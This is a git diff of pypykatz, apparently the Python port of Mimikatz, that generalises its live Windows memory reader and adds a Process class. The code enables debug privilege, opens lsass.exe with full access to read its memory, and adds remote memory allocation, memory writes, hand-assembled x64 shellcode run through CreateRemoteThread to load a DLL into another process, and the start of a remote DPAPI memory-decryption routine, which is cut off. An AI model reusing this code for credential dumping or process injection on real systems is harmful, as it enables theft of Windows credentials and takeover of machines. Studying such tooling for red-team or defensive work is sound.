@@ -1,11 +1,9 @@
-import os
-import sys
 import ctypes
 import enum
-import logging
 
 from pypykatz.commons.readers.local.common.kernel32 import *
 from pypykatz.commons.readers.local.common.psapi import *
+from pypykatz.commons.readers.local.common.version import *
 
 class WindowsMinBuild(enum.Enum):
 	WIN_XP = 2500
@@ -18,20 +16,24 @@ class WindowsMinBuild(enum.Enum):
 
 	
 #utter microsoft bullshit commencing..
-def getWindowsBuild():   
-    class OSVersionInfo(ctypes.Structure):
-        _fields_ = [
-            ("dwOSVersionInfoSize" , ctypes.c_int),
-            ("dwMajorVersion"      , ctypes.c_int),
-            ("dwMinorVersion"      , ctypes.c_int),
-            ("dwBuildNumber"       , ctypes.c_int),
-            ("dwPlatformId"        , ctypes.c_int),
-            ("szCSDVersion"        , ctypes.c_char*128)];
-    GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA")
-    version  = OSVersionInfo()
-    version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo)
-    GetVersionEx( ctypes.byref(version) )    
-    return version.dwBuildNumber
+def getWindowsBuild():
+
+	version = GetVersionExA()
+	return version.dwBuildNumber
+
+	#class OSVersionInfo(ctypes.Structure):
+	#	_fields_ = [
+	#		("dwOSVersionInfoSize" , ctypes.c_int),
+	#		("dwMajorVersion"      , ctypes.c_int),
+	#		("dwMinorVersion"      , ctypes.c_int),
+	#		("dwBuildNumber"       , ctypes.c_int),
+	#		("dwPlatformId"        , ctypes.c_int),
+	#		("szCSDVersion"        , ctypes.c_char*128)];
+	#GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA")
+	#version  = OSVersionInfo()
+	#version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo)
+	#GetVersionEx( ctypes.byref(version) )    
+	#return version.dwBuildNumber
 	
 DELETE = 0x00010000
 READ_CONTROL = 0x00020000
@@ -50,29 +52,29 @@ else:
 	
 
 def QueryDosDevice(drive_letter):
-    buffer_length = 1024
-    buf = ctypes.create_unicode_buffer(buffer_length)
-    status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length)
-    if status == 0:
-        raise ctypes.WinError()
-    return buf.value
+	buffer_length = 1024
+	buf = ctypes.create_unicode_buffer(buffer_length)
+	status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length)
+	if status == 0:
+		raise ctypes.WinError()
+	return buf.value
 
 
 def get_drives():
-    drives = []
-    bitmask = windll.kernel32.GetLogicalDrives()
-    for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
-        if bitmask & 1:
-            drives.append(letter + ':')
-        bitmask >>= 1
-    return drives
+	drives = []
+	bitmask = windll.kernel32.GetLogicalDrives()
+	for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
+		if bitmask & 1:
+			drives.append(letter + ':')
+		bitmask >>= 1
+	return drives
 
 def get_device_prefixes():
-    device_prefixes = {}
-    drives = get_drives()
-    for drive in drives:
-        device_prefixes[QueryDosDevice(drive)] = drive
-    return device_prefixes
+	device_prefixes = {}
+	drives = get_drives()
+	for drive in drives:
+		device_prefixes[QueryDosDevice(drive)] = drive
+	return device_prefixes
 
 DEVICE_PREFIXES = get_device_prefixes()
 
@@ -87,40 +89,41 @@ MAX_PATH_UNICODE = 1 << 15
 # Get full normalized image path of a process using NtQuerySystemInformation
 # It doesn't need any special privileges
 def get_process_full_imagename(pid):
-    _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
-    image_filename = ''
-    buf = ctypes.create_unicode_buffer(0x1000)
-    process_info = SYSTEM_PROCESS_ID_INFORMATION()
-    process_info.ProcessId = ctypes.c_void_p(pid)
-    process_info.ImageName.MaximumLength = len(buf)
-    process_info.ImageName.Buffer = addressof(buf)
-    status = _NtQuerySystemInformation(
-        SystemProcessIdInformation,
-        process_info,
-        sizeof(process_info),
-        None)
-    if status == STATUS_INFO_LENGTH_MISMATCH:
-        buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE)
-        process_info.ImageName.MaximumLength = len(buf)
-        process_info.ImageName.Buffer = addressof(buf)
-        status = _NtQuerySystemInformation(
-            SystemProcessIdInformation,
-            process_info,
-            sizeof(process_info),
-            None)
-    if status == 0:
-        image_filename = str(process_info.ImageName.Buffer)
-        if image_filename.startswith('\\Device\\'):
-            for win_path in DEVICE_PREFIXES:
-                if image_filename.startswith(win_path):
-                    image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):]
-    else:
-        image_filename = 'N/A'
-    return image_filename
+	_NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
+	image_filename = ''
+	buf = ctypes.create_unicode_buffer(0x1000)
+	process_info = SYSTEM_PROCESS_ID_INFORMATION()
+	process_info.ProcessId = ctypes.c_void_p(pid)
+	process_info.ImageName.MaximumLength = len(buf)
+	process_info.ImageName.Buffer = addressof(buf)
+	status = _NtQuerySystemInformation(
+		SystemProcessIdInformation,
+		process_info,
+		sizeof(process_info),
+		None)
+	if status == STATUS_INFO_LENGTH_MISMATCH:
+		buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE)
+		process_info.ImageName.MaximumLength = len(buf)
+		process_info.ImageName.Buffer = addressof(buf)
+		status = _NtQuerySystemInformation(
+			SystemProcessIdInformation,
+			process_info,
+			sizeof(process_info),
+			None)
+	if status == 0:
+		image_filename = str(process_info.ImageName.Buffer)
+		if image_filename.startswith('\\Device\\'):
+			for win_path in DEVICE_PREFIXES:
+				if image_filename.startswith(win_path):
+					image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):]
+	else:
+		image_filename = 'N/A'
+	return image_filename
 
 PS_PROTECTED_TYPE_STRINGS = [None,"Light","Full"]
-PS_PROTECTED_SIGNER_STRINGS = [None, "Authenticode", "CodeGen", "Antimalware", "Lsa", 
-                            "Windows", "WinTcb", "WinSystem", "StoreApp"]
+PS_PROTECTED_SIGNER_STRINGS = [
+	None, "Authenticode", "CodeGen", "Antimalware", "Lsa", 
+	"Windows", "WinTcb", "WinSystem", "StoreApp"]
 PS_PROTECTED_TYPE_OLD_OS_STRINGS = [None,"System protected process"]
 
 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
@@ -150,53 +153,56 @@ def enum_process_names():
 	return pid_to_name
 
 def get_process_extended_basic_information(pid,process_handle=None):
-    process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION()
-    process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION)
-    _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
-    if process_handle == None:
-        process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
-
-    status = _NtQueryInformationProcess(process_handle,
-                                       ProcessBasicInformation,
-                                       byref(process_basic_info),
-                                       process_basic_info.Size,
-                                       None)
-    if status < 0:
-        raise ctypes.WinError()
-    CloseHandle(process_handle)
-    return process_basic_info
+	process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION()
+	process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION)
+	_NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
+	if process_handle == None:
+		process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
+
+	status = _NtQueryInformationProcess(process_handle,
+									   ProcessBasicInformation,
+									   byref(process_basic_info),
+									   process_basic_info.Size,
+									   None)
+	if status < 0:
+		raise ctypes.WinError()
+	CloseHandle(process_handle)
+	return process_basic_info
 
 
 def get_protected_process_infos(pid,process_handle=None):
-    process_protection_infos = None
-    _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
-    if process_handle == None:
-        process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
-    if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value:
-        protection_info = PS_PROTECTION()
-        status = _NtQueryInformationProcess(process_handle,
-                                           ProcessProtectionInformation,
-                                           byref(protection_info),
-                                           sizeof(protection_info),
-                                           None)
-        if status < 0:
-            raise ctypes.WinError()
-        if protection_info.Type > 0:
-            process_protection_infos = {"level": protection_info.Level,
-                                        "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type],
-                                        "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer],
-                                        "audit": protection_info.Audit}
-    else:
-        _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle)
-        if _ps_extended_basic_information.IsProtectedProcess:
-            process_protection_infos = {"type": 'System protected process'}
-    CloseHandle(process_handle)
-    return process_protection_infos
+	process_protection_infos = None
+	_NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
+	if process_handle == None:
+		process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
+	if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value:
+		protection_info = PS_PROTECTION()
+		status = _NtQueryInformationProcess(process_handle,
+										   ProcessProtectionInformation,
+										   byref(protection_info),
+										   sizeof(protection_info),
+										   None)
+		if status < 0:
+			raise ctypes.WinError()
+		if protection_info.Type > 0:
+			process_protection_infos = {"level": protection_info.Level,
+										"type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type],
+										"signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer],
+										"audit": protection_info.Audit}
+	else:
+		_ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle)
+		if _ps_extended_basic_information.IsProtectedProcess:
+			process_protection_infos = {"type": 'System protected process'}
+	CloseHandle(process_handle)
+	return process_protection_infos
 	
 def get_lsass_pid():
+	return pid_for_name('lsass.exe')
+
+def pid_for_name(process_name):
 	pid_to_name = enum_process_names()
 	for pid in pid_to_name:
-		if pid_to_name[pid].lower().endswith('lsass.exe'):
+		if pid_to_name[pid].lower().endswith(process_name):
 			return pid
 			
-	raise Exception('Failed to find lsass.exe')
+	raise Exception('Failed to find %s' % process_name)
diff --git a/pypykatz/commons/readers/local/live_reader.py b/pypykatz/commons/readers/local/live_reader.py
index 7b8f7cf..3a5b99d 100644
--- a/pypykatz/commons/readers/local/live_reader.py
+++ b/pypykatz/commons/readers/local/live_reader.py
@@ -12,7 +12,7 @@ from .common.kernel32 import *
 from .common.fileinfo import *
 from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE
 
-import logging
+from pypykatz import logger
 import sys
 import copy
 import platform
@@ -34,7 +34,8 @@ class Module:
 		
 	def inrange(self, addr):
 		return self.baseaddress <= addr < self.endaddress
-		
+	
+	@staticmethod
 	def parse(name, module_info, timestamp):
 		m = Module()
 		m.name = name
@@ -58,7 +59,8 @@ class Page:
 		self.EndAddress = None
 		
 		self.data = None
-		
+	
+	@staticmethod
 	def parse(page_info):
 		p = Page()
 		p.BaseAddress = page_info.BaseAddress
@@ -68,16 +70,16 @@ class Page:
 		p.EndAddress  = page_info.BaseAddress + page_info.RegionSize
 		return p
 		
-	def read_data(self, lsass_process_handle):
-		self.data = ReadProcessMemory(lsass_process_handle, self.BaseAddress, self.RegionSize)
+	def read_data(self, process_handle):
+		self.data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize)
 		
 	def inrange(self, addr):
 		return self.BaseAddress <= addr < self.EndAddress
 		
-	def search(self, pattern, lsass_process_handle):
+	def search(self, pattern, process_handle):
 		if len(pattern) > self.RegionSize:
 			return []
-		data = ReadProcessMemory(lsass_process_handle, self.BaseAddress, self.RegionSize)
+		data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize)
 		fl = []
 		offset = 0
 		while len(data) > len(pattern):
@@ -86,7 +88,7 @@ class Page:
 				return fl
 			fl.append(marker + offset + self.BaseAddress)
 			data = data[marker+1:]
-			offset = marker + 1
+			offset += marker + 1
 				
 		return fl
 	
@@ -116,7 +118,7 @@ class BufferedLiveReader:
 		# not in cache, check if it's present in memory space. if yes then create a new buffered memeory object, and copy data
 		for page in self.reader.pages:
 			if page.inrange(requested_position):
-				page.read_data(self.reader.lsass_process_handle)
+				page.read_data(self.reader.process_handle)
 				newsegment = copy.deepcopy(page)
 				self.pages.append(newsegment)
 				self.current_segment = newsegment
@@ -124,7 +126,10 @@ class BufferedLiveReader:
 				return
 				
 		raise Exception('Memory address 0x%08x is not in process memory space' % requested_position)
-		
+
+	def get_reader(self):
+		return self.reader
+
 	def seek(self, offset, whence = 0):
 		"""
 		Changes the current address to an offset of offset. The whence parameter controls from which position should we count the offsets.
@@ -265,12 +270,12 @@ class BufferedLiveReader:
 		
 		return pos_s[0]
 		
-	def find_all_global(self, pattern):
+	def find_all_global(self, pattern, allocationprotect = 0x04):
 		"""
 		Searches for the pattern in the whole process memory space and returns a list of addresses where the pattern begins.
 		This is exhaustive!
 		"""
-		return self.reader.search(pattern)
+		return self.reader.search(pattern, allocationprotect = allocationprotect)
 		
 	def get_ptr(self, pos):
 		self.move(pos)
@@ -289,14 +294,15 @@ class BufferedLiveReader:
 	
 	def find_in_module(self, module_name, pattern, find_first = False, reverse_order = False):
 		t = self.reader.search_module(module_name, pattern, find_first = find_first, reverse_order = reverse_order)
-		return t		
+		return t
 		
 		
 class LiveReader:
-	def __init__(self, lsass_process_handle = None):
+	def __init__(self, process_handle = None, process_name='lsass.exe', process_pid = None):
 		self.processor_architecture = None
-		self.lsass_process_name = 'lsass.exe'
-		self.lsass_process_handle = lsass_process_handle
+		self.process_name = process_name
+		self.process_handle = process_handle
+		self.process_pid = process_pid
 		self.current_position = None
 		self.BuildNumber = None
 		self.modules = []
@@ -322,77 +328,82 @@ class LiveReader:
 		if is_windows_64 != is_python_64:
 			raise Exception('Python interpreter must be the same architecure of the OS you are running it on.')
 		
-		
-		
-		
-		
 	def setup(self):
-		logging.log(1, 'Enabling debug privilege')
+		logger.log(1, 'Enabling debug privilege')
 		enable_debug_privilege()
-		logging.log(1, 'Getting generic system info')
+		logger.log(1, 'Getting generic system info')
 		sysinfo = GetSystemInfo()
 		self.processor_architecture = PROCESSOR_ARCHITECTURE(sysinfo.id.w.wProcessorArchitecture)
 		
-		logging.log(1, 'Getting build number')
+		logger.log(1, 'Getting build number')
 		#self.BuildNumber = GetVersionEx().dwBuildNumber #this one doesnt work reliably on frozen binaries :(((
 		key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\')
 		buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber')
 		self.BuildNumber = int(buildnumber)
 		
-		if self.lsass_process_handle is None:
-			logging.log(1, 'Searching for lsass.exe')
-			pid = get_lsass_pid()
-			logging.log(1, 'Lsass.exe found at PID %d' % pid)
-			logging.log(1, 'Checking Lsass.exe protection status')
-			#proc_protection_info = get_protected_process_infos(pid)
-			#protection_msg = "Protection Status: No protection"
-			#if proc_protection_info:
-			#	protection_msg = f"Protection Status: {proc_protection_info['type']}"
-			#	if 'signer' in proc_protection_info:
-			#		protection_msg += f" ({proc_protection_info['signer']})"
-			#	raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg)
-			#logging.log(1, protection_msg)
-			logging.log(1, 'Opening lsass.exe')
-			self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
-			if self.lsass_process_handle is None:
+		if self.process_handle is None:
+			if self.process_pid is None:
+				if self.process_name is None:
+					raise Exception('Process name or PID or opened handle must be provided')
+				
+				logger.log(1, 'Searching for lsass.exe')
+				self.process_pid = pid_for_name(self.process_name)
+				logger.log(1, '%s found at PID %d' % (self.process_name, self.process_pid))
+				logger.log(1, 'Checking Lsass.exe protection status')
+				#proc_protection_info = get_protected_process_infos(pid)
+				#protection_msg = "Protection Status: No protection"
+				#if proc_protection_info:
+				#	protection_msg = f"Protection Status: {proc_protection_info['type']}"
+				#	if 'signer' in proc_protection_info:
+				#		protection_msg += f" ({proc_protection_info['signer']})"
+				#	raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg)
+				#logger.log(1, protection_msg)
+			logger.log(1, 'Opening %s' % self.process_name)
+			self.process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, self.process_pid)
+			if self.process_handle is None:
 				raise Exception('Failed to open lsass.exe Reason: %s' % ctypes.WinError())
 		else:
-			logging.debug('Using pre-defined handle')
-		logging.log(1, 'Enumerating modules')
-		module_handles = EnumProcessModules(self.lsass_process_handle)
+			logger.debug('Using pre-defined handle')
+		logger.log(1, 'Enumerating modules')
+		module_handles = EnumProcessModules(self.process_handle)
 		for module_handle in module_handles:
 			
-			module_file_path = GetModuleFileNameExW(self.lsass_process_handle, module_handle)
-			logging.log(1, module_file_path)
+			module_file_path = GetModuleFileNameExW(self.process_handle, module_handle)
+			logger.log(1, module_file_path)
 			timestamp = 0
 			if ntpath.basename(module_file_path).lower() == 'msv1_0.dll':
 				timestamp = int(os.stat(module_file_path).st_ctime)
 				self.msv_dll_timestamp = timestamp
-			modinfo = GetModuleInformation(self.lsass_process_handle, module_handle)
+			modinfo = GetModuleInformation(self.process_handle, module_handle)
 			self.modules.append(Module.parse(module_file_path, modinfo, timestamp))
 			
-		logging.log(1, 'Found %d modules' % len(self.modules))
+		logger.log(1, 'Found %d modules' % len(self.modules))
 			
 		current_address = sysinfo.lpMinimumApplicationAddress
 		while current_address < sysinfo.lpMaximumApplicationAddress:
-			page_info = VirtualQueryEx(self.lsass_process_handle, current_address)
+			page_info = VirtualQueryEx(self.process_handle, current_address)
 			self.pages.append(Page.parse(page_info))
 			
 			current_address += page_info.RegionSize
 			
-		logging.log(1, 'Found %d pages' % len(self.pages))
+		logger.log(1, 'Found %d pages' % len(self.pages))
 		
 		
 		for page in self.pages:
-			#self.log(str(page))
-		
 			for mod in self.modules:
 				if mod.inrange(page.BaseAddress) == True:
 					mod.pages.append(page)
-		
-		#for mod in self.modules:
-		#	self.log('%s %d' % (mod.name, len(mod.pages)))
-		
+
+	def get_handler(self):
+		return self.process_handle
+
+	def get_memory(self, allocationprotect = 0x04):
+		t = []
+		for page in self.pages:
+			if page.AllocationProtect & allocationprotect:
+				t.append(page)
+		return t
+
 	def get_buffered_reader(self):
 		return BufferedLiveReader(self)			
 		
@@ -408,14 +419,21 @@ class LiveReader:
 			raise Exception('Could not find module! %s' % module_name)
 		needles = []
 		for page in mod.pages:
-			needles += page.search(pattern, self.lsass_process_handle)
+			needles += page.search(pattern, self.process_handle)
 			if len(needles) > 0 and find_first is True:
 				return needles
 
 		return needles
+
+	def search(self, pattern, allocationprotect = 0x04):
+		t = []
+		for page in self.pages:
+			if page.AllocationProtect & allocationprotect:
+				t += page.search(pattern, self.process_handle)
+		return t
 		
 if __name__ == '__main__':
-	logging.basicConfig(level=1)
+	logger.basicConfig(level=1)
 	lr = LiveReader()
 	blr = lr.get_buffered_reader()
 	
diff --git a/pypykatz/commons/readers/local/process.py b/pypykatz/commons/readers/local/process.py
new file mode 100644
index 0000000..abe34b3
--- /dev/null
+++ b/pypykatz/commons/readers/local/process.py
@@ -0,0 +1,444 @@
+from .common.version import *
+from .common.live_reader_ctypes import *
+from pypykatz.commons.winapi.local.function_defs.kernel32 import LoadLibraryW, GetProcAddressW, VirtualProtectEx, VirtualAllocEx, VirtualFreeEx, CreateRemoteThread
+from pypykatz.commons.winapi.local.function_defs.advapi32 import OpenProcessToken, DuplicateTokenEx
+from pypykatz import logger
+from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE
+import ntpath
+import os
+import math
+
+PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
+
+# Token access rights
+TOKEN_ASSIGN_PRIMARY	= 0x0001
+TOKEN_DUPLICATE		 = 0x0002
+TOKEN_IMPERSONATE	   = 0x0004
+TOKEN_QUERY			 = 0x0008
+TOKEN_QUERY_SOURCE	  = 0x0010
+TOKEN_ADJUST_PRIVILEGES = 0x0020
+TOKEN_ADJUST_GROUPS	 = 0x0040
+TOKEN_ADJUST_DEFAULT	= 0x0080
+TOKEN_ADJUST_SESSIONID  = 0x0100
+TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
+TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
+		TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
+		TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
+		TOKEN_ADJUST_SESSIONID)
+
+SecurityAnonymous	   = 0
+SecurityIdentification  = 1
+SecurityImpersonation   = 2
+SecurityDelegation	  = 3
+
+TokenPrimary		= 1
+TokenImpersonation  = 2
+
+#dont ask me...
+#TOKEN_MANIP_ACCESS = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072 | 4))
+
+class Module:
+	def __init__(self):
+		self.name = None
+		self.baseaddress = None
+		self.size = None
+		self.endaddress = None
+		self.pages = []
+		
+		self.versioninfo = None
+		self.checksum = None
+		self.timestamp = None
+		
+	def inrange(self, addr):
+		return self.baseaddress <= addr < self.endaddress
+	
+	@staticmethod
+	def parse(name, module_info, timestamp):
+		m = Module()
+		m.name = name
+		m.baseaddress = module_info.lpBaseOfDll
+		m.size = module_info.SizeOfImage
+		m.endaddress = m.baseaddress + m.size
+		
+		m.timestamp = timestamp
+		
+		return m
+		
+	def __str__(self):
+		return '%s %s %s %s %s' % (self.name, hex(self.baseaddress), hex(self.size), hex(self.endaddress), self.timestamp )
+
+class Page:
+	def __init__(self):
+		self.BaseAddress = None
+		self.AllocationBase  = None
+		self.AllocationProtect  = None
+		self.RegionSize  = None
+		self.EndAddress = None
+		
+		self.data = None
+	
+	@staticmethod
+	def parse(page_info):
+		p = Page()
+		p.BaseAddress = page_info.BaseAddress
+		p.AllocationBase  = page_info.AllocationBase
+		p.AllocationProtect  = page_info.AllocationProtect
+		p.RegionSize  = min(page_info.RegionSize, 100*1024*1024) # TODO: need this currently to stop infinite search
+		p.EndAddress  = page_info.BaseAddress + page_info.RegionSize
+		return p
+		
+	def read_data(self, process_handle):
+		self.data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize)
+		
+	def inrange(self, addr):
+		return self.BaseAddress <= addr < self.EndAddress
+		
+	def search(self, pattern, process_handle):
+		if len(pattern) > self.RegionSize:
+			return []
+		data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize)
+		fl = []
+		offset = 0
+		while len(data) > len(pattern):
+			marker = data.find(pattern)
+			if marker == -1:
+				return fl
+			fl.append(marker + offset + self.BaseAddress)
+			data = data[marker+1:]
+		
+
+class Process:
+	def __init__(self, pid = None, name = None, access = PROCESS_ALL_ACCESS, open = True):
+		self.pid = pid
+		self.name = name
+		self.access = access
+
+
+		self.sysinfo = None
+		self.processor_architecture = None
+
+
+		self.phandle = None
+		self.modules = []
+		self.pages = []
+
+		if open is True:
+			self.open()
+	
+	def open(self):
+		self.sysinfo = GetSystemInfo()
+		self.processor_architecture = PROCESSOR_ARCHITECTURE(self.sysinfo.id.w.wProcessorArchitecture)
+		if self.phandle is None:
+			if self.pid is None:
+				if self.name is None:
+					raise Exception('Process name or PID or opened handle must be provided')
+				
+				self.pid = pid_for_name(self.name)
+			
+			self.phandle = OpenProcess(self.access, False, self.pid)
+			if self.phandle is None:
+				raise Exception('Failed to open %s(%s) Reason: %s' % (ctypes.WinError(), self.name, self.pid))
+	
+	def list_modules(self):
+		self.modules = []
+		module_handles = EnumProcessModules(self.phandle)
+		for module_handle in module_handles:
+			module_file_path = GetModuleFileNameExW(self.phandle, module_handle)
+			logger.log(1, module_file_path)
+			timestamp = 0
+			if ntpath.basename(module_file_path).lower() == 'msv1_0.dll':
+				timestamp = int(os.stat(module_file_path).st_ctime)
+				self.msv_dll_timestamp = timestamp
+			modinfo = GetModuleInformation(self.phandle, module_handle)
+			self.modules.append(Module.parse(module_file_path, modinfo, timestamp))
+		return self.modules
+	
+	def list_pages(self):
+		self.pages = []
+		current_address = self.sysinfo.lpMinimumApplicationAddress
+		while current_address < self.sysinfo.lpMaximumApplicationAddress:
+			page_info = VirtualQueryEx(self.phandle, current_address)
+			self.pages.append(Page.parse(page_info))
+			
+			current_address += page_info.RegionSize
+	
+	def page_find_for_addr(self, addr):
+		self.list_pages()
+		selected_page = None
+		for page in self.pages:
+			if page.inrange(addr):
+				selected_page = page
+		if selected_page is None:
+			raise Exception('Address not found in pages!')
+		return selected_page
+
+	def page_change_protect(self, addr, flags = PAGE_EXECUTE_READWRITE):
+		selected_page = self.page_find_for_addr(addr)
+		return VirtualProtectEx(self.phandle, selected_page.BaseAddress, selected_page.RegionSize, flags)
+
+	def page_alloc(self, size, addr = 0, allocation_type = MEM_COMMIT | MEM_RESERVE, allocation_protect = PAGE_EXECUTE_READWRITE):
+		return VirtualAllocEx(self.phandle, lpAddress = addr, dwSize = size, flAllocationType = allocation_type, flProtect = allocation_protect)
+
+	def page_free(self, addr, free_type = MEM_RELEASE):
+		selected_page = self.page_find_for_addr(addr)
+		dwsize = 0 if free_type == MEM_RELEASE else selected_page.RegionSize
+		return VirtualFreeEx(self.phandle, selected_page.BaseAddress, dwsize, dwFreeType = free_type)
+
+	def read(self, pos, amount):
+		return ReadProcessMemory(self.phandle, pos, amount)
+
+	def write(self, pos, buffer):
+		return WriteProcessMemory(self.phandle, pos, buffer)
+
+	def create_thread(self, start_addr):
+		return CreateRemoteThread(self.phandle, None, 0, start_addr, None, 0)
+
+	def find_module_by_name(self, module_name):
+		if len(self.modules) == 0:
+			self.list_modules()
+		for module in self.modules:
+			#print(module.name)
+			if module.name.lower().find(module_name.lower()) != -1:
+				#print('Found remote DLL!')
+				return module
+
+	def get_remote_function_addr(self, dll_name, function_name, force_load = False):
+		module_handle = LoadLibraryW(dll_name)
+		#print(module_handle)
+		function_addr_total = GetProcAddressW(module_handle, function_name)
+		#print('function_addr %s' % hex(function_addr_total))
+
+		modinfo = GetModuleInformation(GetCurrentProcess(), module_handle)
+		module = Module.parse(dll_name, modinfo, None)
+		function_addr_offset = module.baseaddress - function_addr_total
+
+		#print('function_addr_offset %s' % hex(function_addr_offset))
+		
+		module = self.find_module_by_name(dll_name)
+		if module is None:
+			if force_load is True:
+				self.load_dll(dll_name)
+				self.list_modules()
+				module = self.find_module_by_name(dll_name)
+			if module is None:
+				return None
+
+		return module.baseaddress - function_addr_offset
+
+	@staticmethod
+	def int_to_asm(x, bitsize = 64):
+		return x.to_bytes(bitsize//8, byteorder = 'little', signed = False)
+
+	def invoke_remote_function(self, enclave, fnc_addr, p1_addr, p2_addr, p3_addr, exitthread_addr):
+		#https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-160
+		#https://defuse.ca/online-x86-assembler.htm#disassembly
+		
+		
+
+		#p1_addr = 0
+		#p2_addr = 0
+		#p3_addr = 0
+		#fnc_addr = 0
+
+		#first_param
+		p1 = b'\x48\xb9' + Process.int_to_asm(p1_addr) # MOVABS RCX,<ADDR>
+		#second_param
+		p2 = b'\x48\xba' + Process.int_to_asm(p2_addr) # MOVABS RDX,<ADDR>
+		#third_param
+		p3 = b'\x49\xb8' + Process.int_to_asm(p3_addr) # MOVABS R8,<ADDR>
+		#load function address to RAX
+		fnc = b'\x48\xb8' + Process.int_to_asm(fnc_addr) # MOVABS RAX,<ADDR>
+		#CALL function address (in RAX)
+		call_fnc = b'\xff\xd0' # CALL RAX
+
+		exit_code_set = b'\x48\x89\xC1' # mov rcx, rax
+		thread_exit_fnc = b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR>
+		#CALL function address (in RAX)
+		call_thread_exit_fnc = b'\xff\xd0' # CALL RAX
+		
+		code = p3 + p2 + p1 + fnc + call_fnc + exit_code_set + thread_exit_fnc + call_thread_exit_fnc
+		#print('code: %s' % code.hex())
+		self.write(enclave, code)
+		#input()
+
+		thread_handle, thread_id = self.create_thread(enclave)
+		#print(thread_handle)
+		thread_exit = GetExitCodeThread(thread_handle)
+		#print(thread_exit)
+
+	def load_dll(self, dll_path):
+		if dll_path[-1] != '\x00':
+			dll_path += '\x00'
+
+		loadlibrary_addr = self.get_remote_function_addr("Kernel32.dll", "LoadLibraryW")
+		exitthread_addr = self.get_remote_function_addr("Kernel32.dll", "ExitThread")
+
+
+		code_cave = self.page_alloc(2048)
+		dllname_page = self.page_alloc(2048)
+		self.write(dllname_page, dll_path.encode('utf-16-le'))
+
+		code  = b''
+		code += b'\x48\xb9' + Process.int_to_asm(dllname_page) # MOVABS RCX,<ADDR>
+		code += b'\x48\xb8' + Process.int_to_asm(loadlibrary_addr) # MOVABS RAX,<ADDR>
+		code += b'\xff\xd0' # CALL RAX
+		code += b''
+		code += b'\x48\x89\xC1' # mov rcx, rax
+		code += b'\x48\xb8' + Process.int_to_asm(exitthread_addr) # MOVABS RAX,<ADDR>
+		code += b'\xff\xd0' # CALL RAX
+		
+		self.write(code_cave, code)
+		thread_handle, thread_id = self.create_thread(code_cave)
+		WaitForSingleObject(thread_handle, 100) #waiting for the shellcode to finish...
+
+		self.page_free(code_cave)
+
+
+	def dpapi_memory_unprotect(self, protected_blob_addr, protected_blob_size, flags = 0):
+		protected_blob_size = 16 * math.ceil(protected_blob_size/16)
+		return self.dpapi_memory_unprotect_x64(protected_blob_addr, protected_blob_size, flags)
+
+	def dpapi_memory_unprotect_x64(self, protected_blob_addr, protected_blob_size, flags = 0):
+		# https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectmemory
+		#CRYPTPROTECTMEMORY_SAME_PROCESS 0 
+		#CRYPTPROTECTMEMORY_CROSS_PROCESS 1
+		#CRYPTPROTECTMEMORY_SAME_LOGON 2
+
+		
+		#finding remote function addresses
